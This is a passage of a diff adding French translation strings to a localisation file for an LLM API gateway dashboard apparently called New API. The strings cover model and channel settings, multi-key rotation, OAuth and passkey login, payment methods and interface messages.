+    "Model to use when testing channel connectivity": "Modèle à utiliser lors du test de la connectivité du canal",
+    "Model Version *": "Version du modèle *",
+    "model(s) selected out of": "modèle(s) sélectionné(s) parmi",
+    "model(s)? This action cannot be undone.": "modèle(s) ? Cette action ne peut pas être annulée.",
+    "models": "modèles",
+    "Models": "Modèles",
+    "Models *": "Modèles *",
+    "Models & Groups": "Modèles & Groupes",
+    "Models appended successfully": "Modèles ajoutés avec succès",
+    "Models are required": "Les modèles sont requis",
+    "Models directory": "Répertoire des modèles",
+    "Models fetched successfully": "Modèles récupérés avec succès",
+    "Models filled to form": "Modèles remplis pour le formulaire",
+    "Models listed here will not automatically append or remove -thinking / -nothinking suffixes.": "Les modèles listés ici n'ajouteront ni ne supprimeront automatiquement les suffixes -thinking / -nothinking.",
+    "Models not in list, may fail to invoke": "Modèles non listés, peut échouer lors de l'invocation",
+    "Models that are being used but not configured in the system": "Modèles utilisés mais non configurés dans le système",
+    "Models updated successfully": "Modèles mis à jour avec succès",
+    "Modify existing subscription plan configuration": "Modifier la configuration du plan d'abonnement existant",
+    "Module availability": "Disponibilité du module",
+    "MokaAI": "MokaAI",
+    "Monitor": "Surveiller",
+    "Monitoring & Alerts": "Surveillance & Alertes",
+    "Month": "Mois",
+    "Monthly": "Mensuel",
+    "months": "mois",
+    "Moonshot": "Moonshot",
+    "More": "Plus",
+    "more mapping": "plus de mappage",
+    "More templates...": "Autres modèles…",
+    "More...": "Plus...",
+    "Move": "Déplacer",
+    "Move affiliate rewards to your main balance": "Transférer les récompenses d'affiliation vers votre solde principal",
+    "Move Header": "Déplacer l'en-tête",
+    "ms": "ms",
+    "Multi-key channel: Keys will be": "Canal multi-clés : Les clés seront",
+    "Multi-Key Management": "Gestion multi-clés",
+    "Multi-Key Mode (multiple keys, one channel)": "Mode multi-clés (plusieurs clés, un canal)",
+    "Multi-Key Strategy": "Stratégie multi-clés",
+    "Multi-key: Polling rotation": "Multi-clé : Rotation par sondage",
+    "Multi-key: Random rotation": "Multi-clé : Rotation aléatoire",
+    "Multi-region deployment for stable global access": "Déploiement multirégional pour un accès mondial stable",
+    "Multi-user management with flexible permission allocation": "Gestion multi-utilisateurs avec attribution de permissions flexible",
+    "Multiplier": "Multiplicateur",
+    "Multiplier applied when": "Multiplicateur appliqué lorsque",
+    "Multiplier applied when {{userGroup}} uses {{targetGroup}}": "Multiplicateur appliqué lorsque {{userGroup}} utilise {{targetGroup}}",
+    "Multiplier for audio inputs.": "Multiplicateur pour les entrées audio.",
+    "Multiplier for audio outputs.": "Multiplicateur pour les sorties audio.",
+    "Multiplier for completion tokens.": "Multiplicateur pour les jetons de complétion.",
+    "Multiplier for image processing.": "Multiplicateur pour le traitement d'image.",
+    "Multiplier for prompt tokens.": "Multiplicateur pour les tokens de prompt.",
+    "Multipliers for recharge pricing based on user groups.": "Multiplicateurs pour la tarification de recharge basés sur les groupes d'utilisateurs.",
+    "Must be a valid URL": "Doit être une URL valide",
+    "Must be at least 8 characters": "Doit contenir au moins 8 caractères",
+    "My Subscriptions": "Mes abonnements",
+    "my-status": "mon-statut",
+    "MySQL detected": "MySQL détecté",
+    "MySQL is a production-ready relational database. Keep your credentials secure.": "MySQL est une base de données relationnelle prête pour la production. Gardez vos identifiants en sécurité.",
+    "MySQL is production ready. Ensure automated backups and a dedicated user with the minimal required privileges are configured.": "MySQL est prêt pour la production. Assurez-vous que des sauvegardes automatisées et un utilisateur dédié avec les privilèges minimaux requis sont configurés.",
+    "N/A": "N/A",
+    "Name": "Nom",
+    "Name *": "Nom *",
+    "Name for this redemption code (1-20 characters)": "Nom pour ce code d'échange (1-20 caractères)",
+    "Name is available": "Nom disponible",
+    "Name is not available": "Nom non disponible",
+    "Name must be between {{min}} and {{max}} characters": "Le nom doit contenir entre {{min}} et {{max}} caractères",
+    "Name Rule": "Règle de nommage",
+    "Name Suffix": "Suffixe du nom",
+    "name@example.com": "name@example.com",
+    "Native format": "Format natif",
+    "Need a code?": "Besoin d'un code ?",
+    "Nested JSON defining per-group rules for adding (+:), removing (-:), or appending usable groups.": "JSON imbriqué définissant des règles par groupe pour ajouter (+:), supprimer (-:), ou ajouter des groupes utilisables.",
+    "Nested JSON: source group →": "JSON imbriqué : groupe source →",
+    "Network proxy for this channel (supports socks5 protocol)": "Proxy réseau pour ce canal (supporte le protocole socks5)",
+    "Never": "Jamais",
+    "Never expires": "N'expire jamais",
+    "New API": "New API",
+    "New API &lt;noreply@example.com&gt;": "New API &lt;noreply@example.com&gt;",
+    "New API Project Repository:": "Dépôt du projet New API :",
+    "New Format Template": "Nouveau modèle de format",
+    "New Group": "Nouveau groupe",
+    "New Models ({{count}})": "Nouveaux modèles ({{count}})",
+    "New name will be:": "Le nouveau nom sera :",
+    "New password": "Nouveau mot de passe",
+    "New Password": "Nouveau mot de passe",
+    "New password must be different from current password": "Le nouveau mot de passe doit être différent de l'actuel",
+    "New User Quota": "Quota nouvel utilisateur",
+    "New version available: {{version}}": "Nouvelle version disponible : {{version}}",
+    "NewAPI": "NewAPI",
+    "Next": "Suivant",
+    "Next branch": "Branche suivante",
+    "Next page": "Page suivante",
+    "Next reset": "Prochaine réinitialisation",
+    "No About Content Set": "Aucun contenu « À propos » défini",
+    "No Active": "Aucun actif",
+    "No additional type-specific settings for this channel type.": "Aucun paramètre supplémentaire spécifique au type pour ce type de canal.",
+    "No amount options configured. Add amounts below to get started.": "Aucune option de montant configurée. Ajoutez des montants ci-dessous pour commencer.",
+    "No announcements at this time": "Aucune annonce pour le moment",
+    "No announcements yet. Click \"Add Announcement\" to create one.": "Aucune annonce pour l'instant. Cliquez sur « Ajouter une annonce » pour en créer une.",
+    "No API Domains yet. Click \"Add API\" to create one.": "Aucun domaine API pour l'instant. Cliquez sur \"Ajouter une API\" pour en créer un.",
+    "No API keys available. Create your first API key to get started.": "Aucune clé API disponible. Créez votre première clé API pour commencer.",
+    "No API Keys Found": "Aucune clé API trouvée",
+    "No API routes configured": "Aucune route API configurée",
+    "No available models": "Aucun modèle disponible",
+    "No available Web chat links": "Aucun lien de chat Web disponible",
+    "No backup": "Pas de sauvegarde",
+    "No billing records found": "Aucun enregistrement de facturation trouvé",
+    "No Change": "Aucun changement",
+    "No changes": "Aucune modification",
+    "No changes made": "Aucune modification effectuée",
+    "No changes to save": "Aucune modification à enregistrer",
+    "No channel selected": "Aucun canal sélectionné",
+    "No channels available. Create your first channel to get started.": "Aucun canal disponible. Créez votre premier canal pour commencer.",
+    "No channels found": "Aucun canal trouvé",
+    "No Channels Found": "Aucun canal trouvé",
+    "No channels selected": "Aucun canal sélectionné",
+    "No chat presets configured. Click \"Add chat preset\" to get started.": "Aucun préréglage de chat configuré. Cliquez sur \"Ajouter un préréglage de chat\" pour commencer.",
+    "No chat presets match your search": "Aucun préréglage de chat ne correspond à votre recherche",
+    "No conflict entries available.": "Aucune entrée de conflit disponible.",
+    "No conflicts match your search.": "Aucun conflit ne correspond à votre recherche.",
+    "No console output": "Aucune sortie console",
+    "No containers": "Aucun conteneur",
+    "No custom OAuth providers configured yet.": "Aucun fournisseur OAuth personnalisé configuré pour le moment.",
+    "No data": "Aucune donnée",
+    "No Data": "Aucune donnée",
+    "No data available": "Aucune donnée disponible",
+    "No deployments available. Create one to get started.": "Aucun déploiement disponible. Créez-en un pour commencer.",
+    "No Deployments Found": "Aucun déploiement trouvé",
+    "No discount tiers configured. Click \"Add discount tier\" to get started.": "Aucun niveau de réduction configuré. Cliquez sur « Ajouter un niveau de réduction » pour commencer.",
+    "No duplicate keys found": "Aucune clé dupliquée trouvée",
+    "No enabled tokens available": "Aucun token activé disponible",
+    "No endpoints configured. Switch to JSON mode or add rows to define endpoints.": "Aucun point de terminaison configuré. Passez en mode JSON ou ajoutez des lignes pour définir les points de terminaison.",
+    "No FAQ entries available": "Aucune entrée FAQ disponible",
+    "No FAQ entries yet. Click \"Add FAQ\" to create one.": "Aucune entrée FAQ pour l'instant. Cliquez sur \"Ajouter une FAQ\" pour en créer une.",
+    "No files match the accepted types.": "Aucun fichier ne correspond aux types acceptés.",
+    "No group found.": "Aucun groupe trouvé.",
+    "No group-based rate limits configured. Click \"Add group\" to get started.": "Aucune limite de taux basée sur les groupes configurée. Cliquez sur \"Ajouter un groupe\" pour commencer.",
+    "No groups match your search": "Aucun groupe ne correspond à votre recherche",
+    "No header overrides configured.": "Aucune surcharge d'en-têtes configurée.",
+    "No Inviter": "Pas d'inviteur",
+    "No keys found": "Aucune clé trouvée",
+    "No log entries matched the selected time.": "Aucune entrée de journal ne correspond à l'heure sélectionnée.",
+    "No logs": "Aucun journal",
+    "No Logs Found": "Aucun journal trouvé",
+    "No mappings configured. Click \"Add Row\" to get started.": "Aucun mappage configuré. Cliquez sur « Ajouter une ligne » pour commencer.",
+    "No matches found": "Aucune correspondance trouvée",
+    "No matching results": "Aucun résultat correspondant",
+    "No messages yet": "Pas encore de messages",
+    "No missing models found.": "Aucun modèle manquant trouvé.",
+    "No model found.": "Aucun modèle trouvé.",
+    "No model mappings configured. Click \"Add Mapping\" to get started.": "Aucun mappage de modèle configuré. Cliquez sur « Ajouter un mappage » pour commencer.",
+    "No models available": "Aucun modèle disponible",
+    "No models available in this category": "Aucun modèle disponible dans cette catégorie",
+    "No models available. Create your first model to get started.": "Aucun modèle disponible. Créez votre premier modèle pour commencer.",
+    "No models fetched from upstream": "Aucun modèle récupéré depuis l'amont",
+    "No models fetched yet.": "Aucun modèle récupéré pour l'instant.",
+    "No models found": "Aucun modèle trouvé",
+    "No Models Found": "Aucun modèle trouvé",
+    "No models found.": "Aucun modèle trouvé.",
+    "No models match your current filters.": "Aucun modèle ne correspond à vos filtres actuels.",
+    "No models match your search": "Aucun modèle ne correspond à votre recherche",
+    "No models selected": "Aucun modèle sélectionné",
+    "No models to add": "Aucun modèle à ajouter",
+    "No models to copy": "Aucun modèle à copier",
+    "No models to remove": "Aucun modèle à supprimer",
+    "No new models to add": "Aucun nouveau modèle à ajouter",
+    "No parameter overrides configured.": "Aucune surcharge de paramètres configurée.",
+    "No payment methods available. Please contact administrator.": "Aucun moyen de paiement disponible. Veuillez contacter l'administrateur.",
+    "No payment methods configured": "Aucun mode de paiement configuré",
+    "No payment methods configured. Click \"Add method\" or use templates to get started.": "Aucune méthode de paiement configurée. Cliquez sur \"Ajouter une méthode\" ou utilisez des modèles pour commencer.",
+    "No payment methods match your search": "Aucune méthode de paiement ne correspond à votre recherche",
+    "No plans available": "Aucun plan disponible",
+    "No preference": "Aucune préférence",
+    "No prefill groups yet": "Aucun groupe de préremplissage pour l'instant",
+    "No price differences found": "Aucune différence de prix trouvée",
+    "No processable upstream model updates for this channel": "Aucune mise à jour de modèle en amont traitable pour ce canal",
+    "No products configured. Click \"Add product\" to get started.": "Aucun produit configuré. Cliquez sur \"Ajouter un produit\" pour commencer.",
+    "No products match your search": "Aucun produit ne correspond à votre recherche",
+    "No providers available": "Aucun fournisseur disponible",
+    "No Quota": "Aucun quota",
+    "No ratio differences found": "Aucune différence de ratio trouvée",
+    "No records found. Try adjusting your filters.": "Aucun enregistrement trouvé. Essayez d'ajuster vos filtres.",
+    "No redemption codes available. Create your first redemption code to get started.": "Aucun code d'échange disponible. Créez votre premier code d'échange pour commencer.",
+    "No Redemption Codes Found": "Aucun code d'échange trouvé",
+    "No related models available for this channel type": "Aucun modèle associé disponible pour ce type de canal",
+    "No release notes provided.": "Aucune note de version fournie.",
+    "No Reset": "Pas de réinitialisation",
+    "No restriction": "Aucune restriction",
+    "No results for \"{{query}}\". Try adjusting your search or filters.": "Aucun résultat pour \"{{query}}\". Essayez d'ajuster votre recherche ou vos filtres.",
+    "No results found": "Aucun résultat trouvé",
+    "No results found.": "Aucun résultat trouvé.",
+    "No Retry": "Pas de réessai",
+    "No rules yet": "Aucune règle",
+    "No rules yet. Add a group below to get started.": "Aucune règle pour le moment. Ajoutez un groupe ci-dessous pour commencer.",
+    "No status code mappings configured.": "Aucun mappage de codes de statut configuré.",
+    "No subscription plans yet": "Aucun plan d'abonnement pour le moment",
+    "No subscription records": "Aucun enregistrement d'abonnement",
+    "No Sync": "Pas de synchronisation",
+    "No system announcements": "Aucune annonce système",
+    "No token found.": "Aucun jeton trouvé.",
+    "No tools configured": "Aucun outil configuré",
+    "No Upgrade": "Pas de mise à niveau",
+    "No upstream price differences found": "Aucune différence de prix amont trouvée",
+    "No upstream ratio differences found": "Aucune différence de ratio amont trouvée",
+    "No Uptime Kuma groups yet. Click \"Add Group\" to create one.": "Aucun groupe Uptime Kuma pour l'instant. Cliquez sur « Ajouter un groupe » pour en créer un.",
+    "No uptime monitoring configured": "Aucune surveillance de disponibilité configurée",
+    "No usage logs available. Logs will appear here once API calls are made.": "Aucun journal d'utilisation. Les journaux apparaîtront ici une fois les appels API effectués.",
+    "No user information available": "Aucune information utilisateur disponible",
+    "No user selected": "Aucun utilisateur sélectionné",
+    "No users available. Try adjusting your search or filters.": "Aucun utilisateur disponible. Essayez d'ajuster votre recherche ou vos filtres.",
+    "No Users Found": "Aucun utilisateur trouvé",
+    "Node Name": "Nom du nœud",
+    "Non-stream": "Non-streaming",
+    "None": "Aucun",
+    "noreply@example.com": "noreply@example.com",
+    "Normalized:": "Normalisé :",
+    "Not available": "Non disponible",
+    "Not backed up": "Non sauvegardé",
+    "Not bound": "Non lié",
+    "Not Set": "Non défini",
+    "Not set yet": "Non défini",
+    "Not Started": "Non démarré",
+    "Not Submitted": "Non soumis",
+    "Not tested": "Non testé",
+    "Not used yet": "Pas encore utilisé",
+    "Notice": "Avis",
+    "Notification Email": "E-mail de notification",
+    "Notification Method": "Méthode de notification",
+    "Notifications": "Notifications",
+    "Number of codes to create": "Nombre de codes à créer",
+    "Number of keys to create": "Nombre de clés à créer",
+    "Number of times to retry failed requests (0-10)": "Nombre de tentatives de réessai des requêtes échouées (0-10)",
+    "Number of tokens per unit quota": "Nombre de jetons par unité de quota",
+    "Number of users invited": "Nombre d'utilisateurs invités",
+    "OAuth Client ID": "ID client OAuth",
+    "OAuth Client Secret": "Secret client OAuth",
+    "OAuth failed": "Échec de l'OAuth",
+    "OAuth Integrations": "Intégrations OAuth",
+    "OAuth start failed": "Échec du démarrage OAuth",
+    "Observability": "Observabilité",
+    "Obtain the API key, merchant ID, and RSA key pair from the Waffo dashboard, and configure the callback URL.": "Obtenez la clé API, l'ID du commerçant et la paire de clés RSA depuis le tableau de bord Waffo, et configurez l'URL de rappel.",
+    "Obtain the merchant, store, product and signing keys from your Waffo dashboard. Webhook URL: <ServerAddress>/api/waffo-pancake/webhook": "Obtenez l'ID marchand, le magasin, le produit et les clés de signature dans le tableau de bord Waffo. URL du Webhook : <ServerAddress>/api/waffo-pancake/webhook",
+    "of": "sur",
+    "of 3:": "sur 3 :",
+    "off": "désactivé",
+    "Official": "Officiel",
+    "Official documentation": "Documentation officielle",
+    "Official Repository": "Dépôt officiel",
+    "Official Sync": "Synchronisation Officielle",
+    "OhMyGPT": "OhMyGPT",
+    "OIDC": "OIDC",
+    "OIDC Client ID": "ID Client OIDC",
+    "OIDC Client Secret": "Secret Client OIDC",
+    "OIDC configuration fetched successfully": "Configuration OIDC récupérée avec succès",
+    "OIDC discovery URL. Click \"Auto-discover\" to fetch endpoints automatically.": "URL de découverte OIDC. Cliquez sur \"Découverte automatique\" pour récupérer les points de terminaison automatiquement.",
+    "OIDC endpoints discovered successfully": "Points de terminaison OIDC découverts avec succès",
+    "Old Format Template": "Modèle Ancien Format",
+    "Old format: Direct override. New format: Supports conditional judgment and custom JSON operations.": "Ancien format : Remplacement direct. Nouveau format : Prend en charge le jugement conditionnel et les opérations JSON personnalisées.",
+    "Ollama": "Ollama",
+    "Ollama Models": "Modèles Ollama",
+    "One API": "One API",
+    "One domain per line": "Un domaine par ligne",
+    "One domain per line (only used when domain restriction is enabled)": "Un domaine par ligne (utilisé uniquement lorsque la restriction de domaine est activée)",
+    "One IP or CIDR range per line": "Une IP ou plage CIDR par ligne",
+    "One IP per line (empty for no restriction)": "Une IP par ligne (laisser vide pour aucune restriction)",
+    "one keyword per line": "un mot-clé par ligne",
+    "Online payment is not enabled. Please contact the administrator.": "Le paiement en ligne n'est pas activé. Veuillez contacter l'administrateur.",
+    "Online topup is not enabled. Please use redemption code or contact administrator.": "La recharge en ligne n'est pas activée. Veuillez utiliser un code d'échange ou contacter l'administrateur.",
+    "Only allow specific email domains": "Autoriser uniquement des domaines d'e-mail spécifiques",
+    "Only available for admins. When enabled, you will receive a summary notification via your selected method when the scheduled model check detects upstream model changes or check failures.": "Uniquement disponible pour les administrateurs. Lorsque cette option est activée, vous recevrez une notification récapitulative via votre méthode sélectionnée lorsque la vérification planifiée des modèles détecte des changements de modèles en amont ou des échecs de vérification.",
+    "Only selected fields will be overwritten. You can re-run the sync wizard if new conflicts appear.": "Seuls les champs sélectionnés seront écrasés. Vous pouvez relancer l'assistant de synchronisation si de nouveaux conflits apparaissent.",
+    "Only successful requests": "Uniquement les requêtes réussies",
+    "Only successful requests count toward this limit.": "Seules les requêtes réussies comptent pour cette limite.",
+    "Only the last {{value}} log files will be retained; the rest will be deleted.": "Seuls les {{value}} derniers fichiers journaux seront conservés ; le reste sera supprimé.",
+    "Oops! Page Not Found!": "Oups ! Page introuvable !",
+    "Oops! Something went wrong": "Oups ! Quelque chose s'est mal passé",
+    "Open": "Ouvrir",
+    "Open authorization page": "Ouvrir la page d'autorisation",
+    "Open CC Switch": "Ouvrir le commutateur CC",
+    "Open in chat": "Ouvrir dans le chat",
+    "Open in new tab": "Ouvrir dans un nouvel onglet",
+    "Open in New Tab": "Ouvrir dans un nouvel onglet",
+    "Open menu": "Ouvrir le menu",
+    "Open release": "Ouvrir la version",
+    "Open the io.net console API Keys page": "Ouvrir la page Clés API de la console io.net",
+    "Open theme settings": "Ouvrir les paramètres du thème",
+    "OpenAI": "OpenAI",
+    "OpenAI Compatible": "Compatible OpenAI",
+    "OpenAI Organization": "Organisation OpenAI",
+    "OpenAI Organization ID (optional)": "Identifiant d'organisation OpenAI (optionnel)",
+    "OpenAI, Anthropic, etc.": "OpenAI, Anthropic, etc.",
+    "OpenAI, Anthropic, Google, etc.": "OpenAI, Anthropic, Google, etc.",
+    "OpenAIMax": "OpenAIMax",
+    "Opened authorization page": "Page d'autorisation ouverte",
+    "OpenRouter": "OpenRouter",
+    "opens in an external client. Trigger it from the sidebar or API key actions to launch the configured application.": "s'ouvre dans un client externe. Déclenchez-le depuis la barre latérale ou les actions de clé API pour lancer l'application configurée.",
+    "Operation failed": "Opération échouée",
+    "Operator Admin": "Admin opérateur",
+    "Optimize system for self-hosted single-user usage": "Optimiser le système pour une utilisation auto-hébergée par un seul utilisateur",
+    "Optimized network architecture ensures millisecond response times": "Architecture réseau optimisée garantissant des temps de réponse en millisecondes",
+    "Optional callback override. Leave blank to use server address": "Remplacement optionnel du callback. Laisser vide pour utiliser l'adresse du serveur",
+    "Optional icon identifier for the login button": "Identifiant d'icône optionnel pour le bouton de connexion",
+    "Optional JSON policy to restrict access based on user info fields": "Politique JSON optionnelle pour restreindre l'accès en fonction des champs d'informations utilisateur",
+    "Optional minimum recharge amount for this method.": "Montant minimum de recharge optionnel pour cette méthode.",
+    "Optional multiplier per user group used when calculating recharge pricing. Provide a JSON object such as": "Multiplicateur optionnel par groupe d'utilisateurs utilisé lors du calcul des prix de recharge. Fournissez un objet JSON tel que",
+    "Optional notes about this channel": "Notes optionnelles sur ce canal",
+    "Optional notes about when to use this group": "Notes optionnelles sur le moment d'utiliser ce groupe",
+    "Optional ratio used when upstream cache hits occur.": "Ratio optionnel utilisé en cas de succès du cache en amont.",
+    "Optional settings for advanced container configuration.": "Paramètres optionnels pour la configuration avancée du conteneur.",
+    "Optional supplementary information (max 100 characters)": "Informations supplémentaires optionnelles (max 100 caractères)",
+    "Optional tag for grouping channels": "Étiquette optionnelle pour regrouper les canaux",
+    "Opus Model": "Modèle Opus",
+    "Or continue with": "Ou continuer avec",
+    "Or enter this key manually:": "Ou entrez cette clé manuellement :",
+    "Order completed successfully": "Commande terminée avec succès",
+    "Order History": "Historique des commandes",
+    "Order Payment Method": "Moyen de paiement (commande)",
+    "org-...": "org-...",
+    "Original Model": "Modèle Original",
+    "Other": "Autre",
+    "Output": "Sortie",
+    "Output price": "Prix de sortie",
+    "Output tokens": "Jetons de sortie",
+    "Output Tokens": "Tokens de sortie",
+    "override": "remplacer",
+    "Override": "Remplacer",
+    "Override Anthropic headers, defaults, and thinking adapter behavior": "Remplacer les en-têtes, les valeurs par défaut et le comportement de l'adaptateur de réflexion d'Anthropic",
+    "Override auto-discovered endpoint": "Remplacer le point de terminaison auto-découvert",
+    "Override request headers": "Remplacer les en-têtes de requête",
+    "Override request headers (JSON format)": "Surcharge des en-têtes de requête (format JSON)",
+    "Override request parameters (JSON format)": "Remplacer les paramètres de requête (format JSON)",
+    "Override request parameters. Cannot override": "Remplacer les paramètres de requête. Impossible de remplacer",
+    "Override the endpoint used for testing. Leave empty to auto detect.": "Remplacer le point de terminaison utilisé pour les tests. Laisser vide pour la détection automatique.",
+    "overrides for matching model prefix.": "remplace le tarif si le modèle a ce préfixe.",
+    "Overview": "Vue d'ensemble",
+    "Overwritten": "Écrasé",
+    "Page": "Page",
+    "Page {{current}} of {{total}}": "Page {{current}} sur {{total}}",
+    "PaLM": "PaLM",
+    "Pan": "Panoramique",
+    "Param Override": "Remplacement de paramètre",
+    "Parameter Override": "Remplacement de paramètre",
+    "Parameter Override Template (JSON)": "Modèle de remplacement de paramètres (JSON)",
+    "Parameter override template must be a JSON object": "Le modèle de remplacement de paramètres doit être un objet JSON",
+    "parameter.": "paramètre.",
+    "Parameters": "Paramètres",
+    "Parsed {{count}} service account file(s)": "{{count}} fichier(s) de compte de service analysé(s)",
+    "Partial Submission": "Soumission partielle",
+    "Pass Headers": "Transmettre les en-têtes",
+    "Pass request body directly to upstream": "Transmettre le corps de la requête directement à l'upstream",
+    "Pass Through Body": "Corps de transmission directe",
+    "Pass through the anthropic-beta header for beta features": "Transmettre l'en-tête anthropic-beta pour les fonctionnalités bêta",
+    "Pass through the include field for usage obfuscation": "Transmettre le champ include pour l'obfuscation d'utilisation",
+    "Pass through the inference_geo field for Claude data residency region control": "Transmettre le champ inference_geo pour le contrôle de la région de résidence des données Claude",
+    "Pass through the inference_geo field for geographic routing": "Transmettre le champ inference_geo pour le routage géographique",
+    "Pass through the safety_identifier field": "Transmettre le champ safety_identifier",
+    "Pass through the service_tier field": "Transmettre le champ service_tier",
+    "Pass through the speed field for Claude inference speed mode control": "Transmettre le champ speed pour le contrôle du mode de vitesse d'inférence Claude",
+    "Pass-Through": "Transmission directe",
+    "Passkey": "Passkey",
+    "Passkey Authentication": "Authentification Passkey",
+    "Passkey is not available in this browser": "Passkey n'est pas disponible dans ce navigateur",
+    "Passkey is not supported in this environment": "Passkey n'est pas pris en charge dans cet environnement",
+    "Passkey is not supported on this device": "Passkey n'est pas pris en charge sur cet appareil",
+    "Passkey is not supported on this device.": "La Passkey n'est pas prise en charge sur cet appareil.",
+    "Passkey Login": "Connexion avec Passkey",
+    "Passkey login failed": "Échec de la connexion Passkey",
+    "Passkey login was cancelled": "Connexion Passkey annulée",
+    "Passkey login was cancelled or timed out": "Connexion Passkey annulée ou expirée",
+    "Passkey not supported on this device": "Passkey non prise en charge sur cet appareil",
+    "Passkey registered successfully": "Passkey enregistré avec succès",
+    "Passkey registration was cancelled": "L'enregistrement de la Passkey a été annulé",
+    "Passkey removed successfully": "Passkey supprimée avec succès",
+    "Passkey reset successfully": "Passkey réinitialisée avec succès",
+    "Password": "Mot de passe",
+    "Password / Access Token": "Mot de passe / Jeton d'accès",
+    "Password changed successfully": "Mot de passe changé avec succès",
+    "Password copied to clipboard: {{password}}": "Mot de passe copié dans le presse-papiers : {{password}}",
+    "Password has been copied to clipboard": "Le mot de passe a été copié dans le presse-papiers",
+    "Password Login": "Connexion par mot de passe",
+    "Password must be at least 8 characters": "Le mot de passe doit comporter au moins 8 caractères",
+    "Password must be at least 8 characters long": "Le mot de passe doit comporter au moins 8 caractères",
+    "Password Registration": "Inscription par mot de passe",
+    "Password reset and copied to clipboard: {{password}}": "Mot de passe réinitialisé et copié dans le presse-papiers : {{password}}",
+    "Password reset: {{password}}": "Mot de passe réinitialisé : {{password}}",
+    "Passwords do not match": "Les mots de passe ne correspondent pas",
+    "Paste the full callback URL (includes code & state)": "Coller l'URL de callback complète (inclut code et state)",
+    "Path": "Chemin",
+    "Path Regex (one per line)": "Regex du chemin (un par ligne)",
+    "Path:": "Chemin :",
+    "Pay": "Pay",
+    "Pay-as-you-go with real-time usage monitoring": "Paiement à l'usage avec suivi de la consommation en temps réel",
+    "Payment Channel": "Canal de paiement",
+    "Payment Gateway": "Passerelle de paiement",
+    "Payment initiated": "Paiement initié",
+    "Payment Method": "Méthode de paiement",
+    "Payment method name": "Nom du mode de paiement",
+    "Payment method name is required": "Le nom du mode de paiement est requis",
+    "Payment method type": "Type de mode de paiement",
+    "Payment method type is required": "Le type de méthode de paiement est requis",
+    "Payment methods": "Méthodes de paiement",
+    "Payment Methods": "Modes de paiement",
+    "Payment page opened": "Page de paiement ouverte",
+    "Payment request failed": "Requête de paiement échouée",
+    "Payment return URL": "URL de retour de paiement",
+    "Pending": "En attente",
+    "per": "par",
+    "Per 1K tokens": "Par 1K tokens",
+    "Per 1M tokens": "Par 1M tokens",
+    "per request": "par requête",
+    "Per request": "Par requête",
+    "Per Request": "Par demande",
+    "Per-call": "Par appel",
+    "Per-feature metered windows split by model or capability.": "Fenêtres mesurées par fonction, réparties par modèle ou capacité.",
+    "Per-request (fixed price)": "Par requête (prix fixe)",
+    "Per-token": "Par jeton",
+    "Per-token (ratio based)": "Par jeton (basé sur un ratio)",
+    "Percentage:": "Pourcentage :",
+    "Performance": "Performances",
+    "Performance Monitor": "Moniteur de performances",
+    "Performance Settings": "Paramètres de performances",
+    "Periodically check for upstream model changes": "Vérifier périodiquement les changements de modèles en amont",
+    "Periodically send ping frames to keep streaming connections active.": "Envoyer périodiquement des trames ping pour maintenir les connexions de streaming actives.",
+    "Permanently delete your account and all data": "Supprimer définitivement votre compte et toutes les données",
+    "Permit Passkey registration on non-HTTPS origins (only recommended for development)": "Autoriser l'enregistrement de Passkey sur des origines non-HTTPS (recommandé uniquement pour le développement)",
+    "Perplexity": "Perplexity",
+    "Persist your data file": "Conserver votre fichier de données",
+    "Personal area": "Espace personnel",
+    "Personal Center Area": "Espace personnel",
+    "Personal info settings": "Paramètres d'informations personnelles",
+    "Personal Settings": "Paramètres personnels",
+    "Personal settings and profile management.": "Paramètres personnels et gestion du profil.",
+    "Personal use": "Usage personnel",
+    "Personal use mode": "Mode usage personnel",
+    "Pick a date": "Choisir une date",
+    "Ping Interval (seconds)": "Intervalle de ping (secondes)",
+    "Plan": "Plan",
+    "Plan Name": "Nom du plan",
+    "Plan Subtitle": "Sous-titre du plan",
+    "Plan Title": "Titre du plan",
+    "Planned maintenance on Friday at 22:00 UTC...": "Maintenance planifiée vendredi à 22:00 UTC...",
+    "Platform": "Plateforme",
+    "Playground": "Aire de jeux",
+    "Playground and chat functions": "Fonctions de terrain de jeu et de discussion",
+    "Playground experiments and live conversations.": "Expériences Playground et conversations en direct.",
+    "Please agree to the legal terms first": "Veuillez accepter les conditions légales d'abord",
+    "Please complete the security check to continue.": "Veuillez compléter la vérification de sécurité pour continuer.",
+    "Please confirm that you understand the consequences": "Veuillez confirmer que vous comprenez les conséquences",
+    "Please enable io.net model deployment service and configure an API key in System Settings.": "Veuillez activer le service de déploiement de modèles io.net et configurer une clé API dans les Paramètres système.",
+    "Please enable Two-factor Authentication or Passkey before proceeding": "Veuillez activer l'authentification à deux facteurs ou une Passkey avant de continuer",
+    "Please enter a name": "Veuillez saisir un nom",
+    "Please enter a new password": "Veuillez saisir un nouveau mot de passe",
+    "Please enter a redemption code": "Veuillez saisir un code de rédemption",
+    "Please enter a valid duration": "Veuillez saisir une durée valide",
+    "Please enter a valid email address": "Veuillez saisir une adresse e-mail valide",
+    "Please enter a valid number": "Veuillez entrer un nombre valide",
+    "Please enter a Well-Known URL first": "Veuillez d'abord saisir une URL Well-Known",
+    "Please enter amount": "Veuillez saisir le montant",
+    "Please enter an administrator username": "Veuillez saisir un nom d'utilisateur administrateur",
+    "Please enter API key first": "Veuillez saisir la clé API en premier",
+    "Please enter chat client name": "Veuillez saisir le nom du client de chat",
+    "Please enter email and verification code": "Veuillez saisir l'email et le code de vérification",
+    "Please enter keys first": "Veuillez saisir les clés en premier",
+    "Please enter model name": "Veuillez entrer le nom du modèle",
+    "Please enter plan title": "Veuillez saisir le titre du plan",
+    "Please enter the authentication code.": "Veuillez saisir le code d'authentification.",
+    "Please enter the URL": "Veuillez saisir l'URL",
+    "Please enter the verification code": "Veuillez saisir le code de vérification",
+    "Please enter your current password": "Veuillez saisir votre mot de passe actuel",
+    "Please enter your email": "Veuillez saisir votre adresse e-mail",
+    "Please enter your email first": "Veuillez saisir votre email en premier",
+    "Please enter your verification code": "Veuillez saisir votre code de vérification",
+    "Please enter your verification code or backup code": "Veuillez saisir votre code de vérification ou votre code de secours",
+    "Please fix JSON errors before saving": "Veuillez corriger les erreurs JSON avant d’enregistrer",
+    "Please log in with the appropriate credentials": "Veuillez vous connecter avec les identifiants appropriés",
+    "Please manually copy and open the authorization link": "Veuillez copier et ouvrir manuellement le lien d'autorisation",
+    "Please select a container": "Veuillez sélectionner un conteneur",
+    "Please select a payment method": "Veuillez sélectionner un mode de paiement",
+    "Please select a primary model": "Veuillez sélectionner un modèle principal",
+    "Please select a subscription plan": "Veuillez sélectionner un plan d'abonnement",
